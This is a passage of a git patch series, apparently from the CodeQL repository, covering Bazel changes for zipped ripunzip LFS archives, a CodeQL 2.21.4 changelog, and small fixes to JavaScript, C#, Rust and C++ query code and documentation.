misc/ripunzip/ripunzip-windows.exe diff --git a/MODULE.bazel b/MODULE.bazel index 764eb6abe72..6c27900a9fb 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -239,24 +239,24 @@ go_deps = use_extension("@gazelle//:extensions.bzl", "go_deps") go_deps.from_file(go_mod = "//go/extractor:go.mod") use_repo(go_deps, "org_golang_x_mod", "org_golang_x_tools") -lfs_files = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_files") +lfs_archive = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_archive") -lfs_files( +lfs_archive( name = "ripunzip-linux", - srcs = ["//misc/ripunzip:ripunzip-linux"], - executable = True, + src = "//misc/ripunzip:ripunzip-Linux.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) -lfs_files( +lfs_archive( name = "ripunzip-windows", - srcs = ["//misc/ripunzip:ripunzip-windows.exe"], - executable = True, + src = "//misc/ripunzip:ripunzip-Windows.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) -lfs_files( +lfs_archive( name = "ripunzip-macos", - srcs = ["//misc/ripunzip:ripunzip-macos"], - executable = True, + src = "//misc/ripunzip:ripunzip-macOS.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) register_toolchains( diff --git a/misc/ripunzip/BUILD.bazel b/misc/ripunzip/BUILD.bazel index 6575b692772..fb33124f3b2 100644 --- a/misc/ripunzip/BUILD.bazel +++ b/misc/ripunzip/BUILD.bazel @@ -2,7 +2,7 @@ load("@rules_shell//shell:sh_binary.bzl", "sh_binary") alias( name = "ripunzip", - actual = select({"@platforms//os:" + os: "@ripunzip-" + os for os in ("linux", "windows", "macos")}), + actual = select({"@platforms//os:" + os: "@ripunzip-%s//:ripunzip" % os for os in ("linux", "windows", "macos")}), visibility = ["//visibility:public"], ) diff --git a/misc/ripunzip/BUILD.ripunzip.bazel b/misc/ripunzip/BUILD.ripunzip.bazel new file mode 100644 index 00000000000..e2832d1e275 --- /dev/null +++ b/misc/ripunzip/BUILD.ripunzip.bazel @@ -0,0 +1,11 @@ +load("@bazel_skylib//rules:native_binary.bzl", "native_binary") + +native_binary( + name = "ripunzip", + src = glob(["ripunzip-*"])[0], + out = "ripunzip" + select({ + "@platforms//os:windows": ".exe", + "//conditions:default": "", + }), + visibility = ["//visibility:public"], +) diff --git a/misc/ripunzip/ripunzip-Linux.zip b/misc/ripunzip/ripunzip-Linux.zip new file mode 100644 index 00000000000..d5535b1f17f --- /dev/null +++ b/misc/ripunzip/ripunzip-Linux.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:411e5578af004e7be449b6945d50b0984efc3308fe42a0b5c9e82d4be38425e1 +size 4888352 diff --git a/misc/ripunzip/ripunzip-Windows.zip b/misc/ripunzip/ripunzip-Windows.zip new file mode 100644 index 00000000000..7ef76bfbb0d --- /dev/null +++ b/misc/ripunzip/ripunzip-Windows.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0c0bfe3d9c8a2236ecdb574839e83d54c50a019656d26d4d870e8ca26be083dd +size 1860383 diff --git a/misc/ripunzip/ripunzip-linux b/misc/ripunzip/ripunzip-linux deleted file mode 100755 index 35606389460..00000000000 --- a/misc/ripunzip/ripunzip-linux +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:b5e444b6efcb11e899ff932dc5846927dd78578d0889386d82aa21133e077fde -size 12423064 diff --git a/misc/ripunzip/ripunzip-macOS.zip b/misc/ripunzip/ripunzip-macOS.zip new file mode 100644 index 00000000000..e5038c11f90 --- /dev/null +++ b/misc/ripunzip/ripunzip-macOS.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dbfbcbcf8303db9ca74a8414312171eadcdb6b1b234b442b2938ee238372fc9d +size 4067990 diff --git a/misc/ripunzip/ripunzip-macos b/misc/ripunzip/ripunzip-macos deleted file mode 100755 index d80eeea0667..00000000000 --- a/misc/ripunzip/ripunzip-macos +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e8ff604d47ec88c4a795d307dee9454771589e8bd0b9747c6f49d2a59081f829 -size 10632454 diff --git a/misc/ripunzip/ripunzip-windows.exe b/misc/ripunzip/ripunzip-windows.exe deleted file mode 100755 index 44727f650db..00000000000 --- a/misc/ripunzip/ripunzip-windows.exe +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6e6b68c668a84d1232335524f9ca15dff61f7365ec16d57caa9763fda145f33d -size 4548096 From 2e5ce06a274e5abc043c13b5d5bac7acad374249 Mon Sep 17 00:00:00 2001 From: Florin Coada Date: Mon, 2 Jun 2025 17:06:40 +0100 Subject: [PATCH 122/271] Docs: Add changelog entry for CodeQL 2.21.4 release --- .../codeql-changelog/codeql-cli-2.21.4.rst | 187 ++++++++++++++++++ .../codeql-changelog/index.rst | 1 + 2 files changed, 188 insertions(+) create mode 100644 docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst new file mode 100644 index 00000000000..3603d345d71 --- /dev/null +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst @@ -0,0 +1,187 @@ +.. _codeql-cli-2.21.4: + +========================== +CodeQL 2.21.4 (2025-06-02) +========================== + +.. contents:: Contents + :depth: 2 + :local: + :backlinks: none + +This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__. + +Security Coverage +----------------- + +CodeQL 2.21.4 runs a total of 449 security queries when configured with the Default suite (covering 165 CWE). The Extended suite enables an additional 128 queries (covering 33 more CWE). + +CodeQL CLI +---------- + +Deprecations +~~~~~~~~~~~~ + +* The :code:`clang_vector_types`, :code:`clang_attributes`, and :code:`flax-vector-conversions` command line options have been removed from the C/C++ extractor. These options were introduced as workarounds to frontend limitations in earlier versions of the extractor and are no longer needed when calling the extractor directly. + +Miscellaneous +~~~~~~~~~~~~~ + +* The build of Eclipse Temurin OpenJDK that is used to run the CodeQL CLI has been updated to version 21.0.7. + +Query Packs +----------- + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* Added flow model for the :code:`SQLite` and :code:`OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. + +C# +"" + +* The precision of the query :code:`cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries :code:`cs/password-in-configuration`, :code:`cs/hardcoded-credentials` and :code:`cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query :code:`cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant :code:`e1.Equals(e2)` implies :code:`e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query :code:`cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to :code:`System.Text.CompositeFormat.Parse` are now considered a format like method call. + +Golang +"""""" + +* The query :code:`go/hardcoded-credentials` has been removed from all query suites. + +Java/Kotlin +""""""""""" + +* The query :code:`java/hardcoded-credential-api-call` has been removed from all query suites. + +JavaScript/TypeScript +""""""""""""""""""""" + +* The queries :code:`js/hardcoded-credentials` and :code:`js/password-in-configuration-file` have been removed from all query suites. + +Python +"""""" + +* The query :code:`py/hardcoded-credentials` has been removed from all query suites. + +Ruby +"""" + +* The query :code:`rb/hardcoded-credentials` has been removed from all query suites. + +Swift +""""" + +* The queries :code:`swift/hardcoded-key` and :code:`swift/constant-password` have been removed from all query suites. + +GitHub Actions +"""""""""""""" + +* The query :code:`actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions :code:`deploy-pages`, :code:`delete-package-versions`, :code:`ai-inference`. This should lead to better alert messages and better fix suggestions. + +Language Libraries +------------------ + +Bug Fixes +~~~~~~~~~ + +C/C++ +""""" + +* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ArrayAggregateLiteral`\ s. +* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ClassAggregateLiteral`\ s. + +Ruby +"""" + +* Bug Fixes +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. + +Breaking Changes +~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* Deleted the deprecated :code:`userInputArgument` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputReturned` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputReturn` predicate from the :code:`Security.qll`. +* Deleted the deprecated :code:`isUserInput` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputArgument` predicate from the :code:`SecurityOptions.qll`. +* Deleted the deprecated :code:`userInputReturned` predicate from the :code:`SecurityOptions.qll`. + +Swift +""""" + +* Deleted the deprecated :code:`parseContent` predicate from the :code:`ExternalFlow.qll`. +* Deleted the deprecated :code:`hasLocationInfo` predicate from the :code:`DataFlowPublic.qll`. +* Deleted the deprecated :code:`SummaryComponent` class from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponentStack` class from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponent` module from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponentStack` module from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`RequiredSummaryComponentStack` class from the :code:`FlowSummary.qll`. + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C# +"" + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). + +JavaScript/TypeScript +""""""""""""""""""""" + +* Improved analysis for :code:`ES6 classes` mixed with :code:`function prototypes`, leading to more accurate call graph resolution. + +Python +"""""" + +* The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add :code:`paths-ignore: ["**/.*/**"]` to your `Code Scanning config `__. If you would like to skip all hidden files, you can use :code:`paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the :code:`--codescanning-config` option. + +Ruby +"""" + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +Swift +""""" + +* Updated to allow analysis of Swift 6.1.1. +* :code:`TypeValueExpr` experimental AST leaf is now implemented in the control flow library + +Deprecated APIs +~~~~~~~~~~~~~~~ + +Java/Kotlin +""""""""""" + +* The predicate :code:`getValue()` on :code:`SpringRequestMappingMethod` is now deprecated. Use :code:`getAValue()` instead. +* Java now uses the shared :code:`BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The :code:`BasicBlock` class itself no longer extends :code:`ControlFlowNode` - the predicate :code:`getFirstNode` can be used to fix any QL code that somehow relied on this. + +New Features +~~~~~~~~~~~~ + +C/C++ +""""" + +* Added local flow source models for :code:`ReadFile`, :code:`ReadFileEx`, :code:`MapViewOfFile`, :code:`MapViewOfFile2`, :code:`MapViewOfFile3`, :code:`MapViewOfFile3FromApp`, :code:`MapViewOfFileEx`, :code:`MapViewOfFileFromApp`, :code:`MapViewOfFileNuma2`, and :code:`NtReadFile`. +* Added the :code:`pCmdLine` arguments of :code:`WinMain` and :code:`wWinMain` as local flow sources. +* Added source models for :code:`GetCommandLineA`, :code:`GetCommandLineW`, :code:`GetEnvironmentStringsA`, :code:`GetEnvironmentStringsW`, :code:`GetEnvironmentVariableA`, and :code:`GetEnvironmentVariableW`. +* Added summary models for :code:`CommandLineToArgvA` and :code:`CommandLineToArgvW`. +* Added support for :code:`wmain` as part of the ArgvSource model. + +Shared Libraries +---------------- + +Breaking Changes +~~~~~~~~~~~~~~~~ + +Static Single Assignment (SSA) +"""""""""""""""""""""""""""""" + +* Adjusted the Guards interface in the SSA data flow integration to distinguish :code:`hasBranchEdge` from :code:`controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. diff --git a/docs/codeql/codeql-overview/codeql-changelog/index.rst b/docs/codeql/codeql-overview/codeql-changelog/index.rst index 2d2fd483aed..be6d2582d6e 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/index.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/index.rst @@ -11,6 +11,7 @@ A list of queries for each suite and language `is available here Date: Mon, 2 Jun 2025 18:20:29 +0200 Subject: [PATCH 123/271] Ripunzip: fix macos archive --- misc/ripunzip/ripunzip-macOS.zip | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/misc/ripunzip/ripunzip-macOS.zip b/misc/ripunzip/ripunzip-macOS.zip index e5038c11f90..c47a54d2c07 100644 --- a/misc/ripunzip/ripunzip-macOS.zip +++ b/misc/ripunzip/ripunzip-macOS.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:dbfbcbcf8303db9ca74a8414312171eadcdb6b1b234b442b2938ee238372fc9d -size 4067990 +oid sha256:a1edacc510b44d35f926e7a682ea8efc1a7f28028cacf31f432e5b4b409a2d2b +size 4140891 From bf2f19da566dfe16c428144bad35a3398b6dd296 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 19:02:48 +0200 Subject: [PATCH 124/271] Update UnhandledStreamPipe.ql Address comments Co-Authored-By: Asger F <316427+asgerf@users.noreply.github.com> --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 69280443a32..c2e18e9c577 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -141,11 +141,12 @@ private predicate streamFlowStep(DataFlow::Node node1, DataFlow::Node node2) { * Tracks the result of a pipe call as it flows through the program. */ private DataFlow::SourceNode destinationStreamRef(DataFlow::TypeTracker t, PipeCall pipe) { - t.start() and result = pipe + t.start() and + (result = pipe or result = pipe.getDestinationStream().getALocalSource()) or exists(DataFlow::SourceNode prev | prev = destinationStreamRef(t.continue(), pipe) and - streamFlowStep(result.getALocalUse(), prev) + streamFlowStep(prev, result) ) or exists(DataFlow::TypeTracker t2 | result = destinationStreamRef(t2, pipe).track(t2, t)) From 7993f7d8c874bbcfd1c9ea3037346cb07f4783cb Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 19:08:33 +0200 Subject: [PATCH 125/271] Update `qhelp` example to more accurately demonstrate flagged cases --- javascript/ql/src/Quality/examples/UnhandledStreamPipe.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js index d31d6936f22..95c1661a8b9 100644 --- a/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js @@ -2,5 +2,7 @@ const fs = require('fs'); const source = fs.createReadStream('source.txt'); const destination = fs.createWriteStream('destination.txt'); -// Bad: No error handling -source.pipe(destination); +// Bad: Only destination has error handling, source errors are unhandled +source.pipe(destination).on('error', (err) => { + console.error('Destination error:', err); +}); From 92541ffdd88dbe48daeaf2fdd47d3161bd71553c Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 3 Jun 2025 10:51:35 +0200 Subject: [PATCH 126/271] Add `cs/string-concatenation-in-loop` to the quality suite --- .../posix/query-suite/csharp-code-quality.qls.expected | 1 + csharp/ql/src/Performance/StringConcatenationInLoop.ql | 1 + 2 files changed, 2 insertions(+) diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected index 14934899e0d..35a390da406 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected @@ -11,6 +11,7 @@ ql/csharp/ql/src/Likely Bugs/EqualityCheckOnFloats.ql ql/csharp/ql/src/Likely Bugs/ReferenceEqualsOnValueTypes.ql ql/csharp/ql/src/Likely Bugs/SelfAssignment.ql ql/csharp/ql/src/Likely Bugs/UncheckedCastInEquals.ql +ql/csharp/ql/src/Performance/StringConcatenationInLoop.ql ql/csharp/ql/src/Performance/UseTryGetValue.ql ql/csharp/ql/src/Useless code/DefaultToString.ql ql/csharp/ql/src/Useless code/IntGetHashCode.ql diff --git a/csharp/ql/src/Performance/StringConcatenationInLoop.ql b/csharp/ql/src/Performance/StringConcatenationInLoop.ql index aba7d3b7436..b1b420434e9 100644 --- a/csharp/ql/src/Performance/StringConcatenationInLoop.ql +++ b/csharp/ql/src/Performance/StringConcatenationInLoop.ql @@ -7,6 +7,7 @@ * @id cs/string-concatenation-in-loop * @tags efficiency * maintainability + * quality */ import csharp From 348dc9969be2fb731101b811de1c5d2d8f2c4a29 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 3 Jun 2025 10:55:34 +0200 Subject: [PATCH 127/271] Rust: remove stray space --- rust/ql/.generated.list | 8 ++++---- rust/ql/lib/codeql/rust/elements/AssocItemList.qll | 2 +- .../codeql/rust/elements/internal/AssocItemListImpl.qll | 2 +- .../rust/elements/internal/generated/AssocItemList.qll | 2 +- .../lib/codeql/rust/elements/internal/generated/Raw.qll | 2 +- rust/schema/annotations.py | 2 +- 6 files changed, 9 insertions(+), 9 deletions(-) diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 22182895657..73404b396b2 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -21,7 +21,7 @@ lib/codeql/rust/elements/AsmRegOperand.qll 27abfffe1fc99e243d9b915f9a9694510133e lib/codeql/rust/elements/AsmRegSpec.qll 77483fc3d1de8761564e2f7b57ecf1300d67de50b66c11144bb4e3e0059ebfd6 521f8dd0af859b7eef6ab2edab2f422c9ff65aa11bad065cfba2ec082e0c786b lib/codeql/rust/elements/AsmSym.qll ba29b59ae2a4aa68bdc09e61b324fd26e8b7e188af852345676fc5434d818eef 10ba571059888f13f71ac5e75d20b58f3aa6eecead0d4c32a7617018c7c72e0e lib/codeql/rust/elements/AssocItem.qll 89e547c3ce2f49b5eb29063c5d9263a52810838a8cfb30b25bee108166be65a1 238fc6f33c18e02ae023af627afa2184fa8e6055d78ab0936bd1b6180bccb699 -lib/codeql/rust/elements/AssocItemList.qll 5d58c018009c00e6aef529b7d1b16161abae54dbf3a41d513a57be3bbda30abf d9b06ef3c1332f4d09e6d4242804396f8664771fa9aaceb6d5b25e193525af3b +lib/codeql/rust/elements/AssocItemList.qll 5d2660e199e59647e3a8b6234531428f6e0a236ed2ced3c9fede13e7f83a5ba5 a2a8e87ab8978f77a70e4c0a8cc7322c522fc4a7a05116646a2b97a2f47428a4 lib/codeql/rust/elements/AssocTypeArg.qll 6ceeec7a0ec78a6f8b2e74c0798d4727ad350cebde954b4ffe442b06e08eb4aa d615f5cd696892518387d20f04dae240fb10ee7c9577028fb6f2a51cd9f5b9e4 lib/codeql/rust/elements/AstNode.qll 5ee6355afb1cafd6dfe408b8c21836a1ba2aeb709fb618802aa09f9342646084 dee708f19c1b333cbd9609819db3dfdb48a0c90d26266c380f31357b1e2d6141 lib/codeql/rust/elements/Attr.qll 2cb6a6adf1ff9ee40bc37434320d77d74ae41ff10bbd4956414c429039eede36 e85784299917ad8a58f13824b20508f217b379507f9249e6801643cf9628db1e @@ -227,7 +227,7 @@ lib/codeql/rust/elements/internal/AsmSymConstructor.qll 9c7e8471081b9173f01592d4 lib/codeql/rust/elements/internal/AsmSymImpl.qll e173807c5b6cf856f5f4eaedb2be41d48db95dd8a973e1dc857a883383feec50 ab19c9f479c0272a5257ab45977c9f9dd60380fe33b4ade14f3dddf2970112de lib/codeql/rust/elements/internal/AssocItemImpl.qll 33be2a25b94eb32c44b973351f0babf6d46d35d5a0a06f1064418c94c40b01e9 5e42adb18b5c2f9246573d7965ce91013370f16d92d8f7bda31232cef7a549c6 lib/codeql/rust/elements/internal/AssocItemListConstructor.qll 1977164a68d52707ddee2f16e4d5a3de07280864510648750016010baec61637 bb750f1a016b42a32583b423655279e967be5def66f6b68c5018ec1e022e25e1 -lib/codeql/rust/elements/internal/AssocItemListImpl.qll bd6ccb2bda2408829a037b819443f7e2962d37f225932a5a02b28901596705f9 fa0037432bc31128610e2b989ba3877c3243fecb0127b0faa84d876b628bbeee +lib/codeql/rust/elements/internal/AssocItemListImpl.qll 70e82744464827326bfc394dab417f39905db155fb631f804bf1f27e23892698 760c7b42137d010e15920f9623e461daaf16518ab44a36a15259e549ecd4fa7a lib/codeql/rust/elements/internal/AssocTypeArgConstructor.qll 58b4ac5a532e55d71f77a5af8eadaf7ba53a8715c398f48285dac1db3a6c87a3 f0d889f32d9ea7bd633b495df014e39af24454608253200c05721022948bd856 lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll 5a5016276bef74ae52c6b7a04dfd46b0d466356292c110860c7f650a2d455100 b72b10eeede0f945c96f098e484058469f6e6e2223d29377d6ef3e2fde698624 lib/codeql/rust/elements/internal/AttrConstructor.qll de1dd30692635810277430291ba3889a456344dbd25938d9f8289ab22506d5cd 57b62b2b07dee4a9daeed241e0b4514ba36fd5ec0abb089869a4d5b2c79d6e72 @@ -481,7 +481,7 @@ lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll e1412c7a9135669cb3 lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll 73a24744f62dd6dfa28a0978087828f009fb0619762798f5e0965003fff1e8ec fdb8fd2f89b64086a2ca873c683c02a68d088bb01007d534617d0b7f67fde2cb lib/codeql/rust/elements/internal/generated/AsmSym.qll 476ee9ad15db015c43633072175bca3822af30c379ee10eb8ffc091c88d573f6 9f24baf36506eb959e9077dc5ba1cddbc4d93e3d8cba6e357dff5f9780d1e492 lib/codeql/rust/elements/internal/generated/AssocItem.qll fad035ba1dab733489690538fbb94ac85072b96b6c2f3e8bcd58a129b9707a26 d9988025b12b8682be83ce9df8c31ce236214683fc50facd4a658f68645248cb -lib/codeql/rust/elements/internal/generated/AssocItemList.qll e016510f5f6a498b5a78b2b9419c05f870481b579438efa147303576bc89e920 89c30f3bfc1ffced07662edfb497305ee7498df1b5655739277bc1125207bea6 +lib/codeql/rust/elements/internal/generated/AssocItemList.qll 52900dcf32ef749a3bd285b4a01ff337df3c52255fe2698c9c1547c40652f3b9 10709dd626a527c37186b02c4ea738a9edb6c9e97b87370de206d3eb9941575b lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll a93a42278263bb0c9692aca507108e25f99292aef2a9822501b31489c4ce620d afd9559e0c799988ef7ff1957a5a9ebc4fb92c6e960cbe7fecf12a0a484fef08 lib/codeql/rust/elements/internal/generated/AstNode.qll 1cbfae6a732a1de54b56669ee69d875b0e1d15e58d9aa621df9337c59db5619d 37e16a0c70ae69c5dc1b6df241b9acca96a6326d6cca15456699c44a81c93666 lib/codeql/rust/elements/internal/generated/Attr.qll 3f306e301c79f58018f1d5f39b4232760ebba7cad7208b78ffcf77e962041459 865a985c0af86b3463440975216b863256d9bf5960e664dd9c0fe2e602b4828b @@ -593,7 +593,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 8d0ea4f6c7f8203340bf lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll fc32eef8983cc881dd351d2ceeb37724ea413ab95cb34251e59630aaea682213 1df3d0023f23d095c0321c6c081c8f2fa8839e6d22f92aebff5db9030e84e6b2 +lib/codeql/rust/elements/internal/generated/Raw.qll ea65a886bb8915a6c58ef6bf9900e457ad54df50cd16d901415267703047b6a8 bad7285d4604640cb3165fe25365d7325134d7ecf32953021d90dcff4763bcad lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 5b0663a6d234572fb3e467e276d019415caa95ef006438cc59b7af4e1783161e 0e27c8a8f0e323c0e4d6db01fca821bf07c0864d293cdf96fa891b10820c1e4b diff --git a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll index e773f10a7d0..86ae3df7a6b 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll @@ -9,6 +9,6 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Attr /** - * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ final class AssocItemList = Impl::AssocItemList; diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll index 02299ac619c..f68c9e5fbe3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.AssocItemList */ module Impl { /** - * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends Generated::AssocItemList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll index 9a454152b20..8a6dc5a43ed 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll @@ -16,7 +16,7 @@ import codeql.rust.elements.Attr */ module Generated { /** - * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. * INTERNAL: Do not reference the `Generated::AssocItemList` class directly. * Use the subclass `AssocItemList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 9880b8c2b02..6c49996707d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -279,7 +279,7 @@ module Raw { /** * INTERNAL: Do not use. - * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends @assoc_item_list, AstNode { override string toString() { result = "AssocItemList" } diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index fa63996f2f1..98245cd24a4 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -922,7 +922,7 @@ class _: @qltest.test_with(Trait) class _: """ - A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. """ From 41bdaa3d3c06b035e3f042d431af4408ef3eb0aa Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 3 Jun 2025 12:25:46 +0200 Subject: [PATCH 128/271] C++: Fix typo in downgrade script --- .../59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql index 015d02d3ec7..8e111e9e791 100644 --- a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql +++ b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql @@ -11,7 +11,7 @@ int getKind(int kind) { if kind = 14 then result = 6 // Represent MSFT #import as #include else - if kind = 15 or kind = 6 + if kind = 15 or kind = 16 then result = 3 // Represent #elifdef and #elifndef as #elif else result = kind } From 46c02e7fa818f6448e8d4356b046bdfb7d5d7700 Mon Sep 17 00:00:00 2001 From: Michael 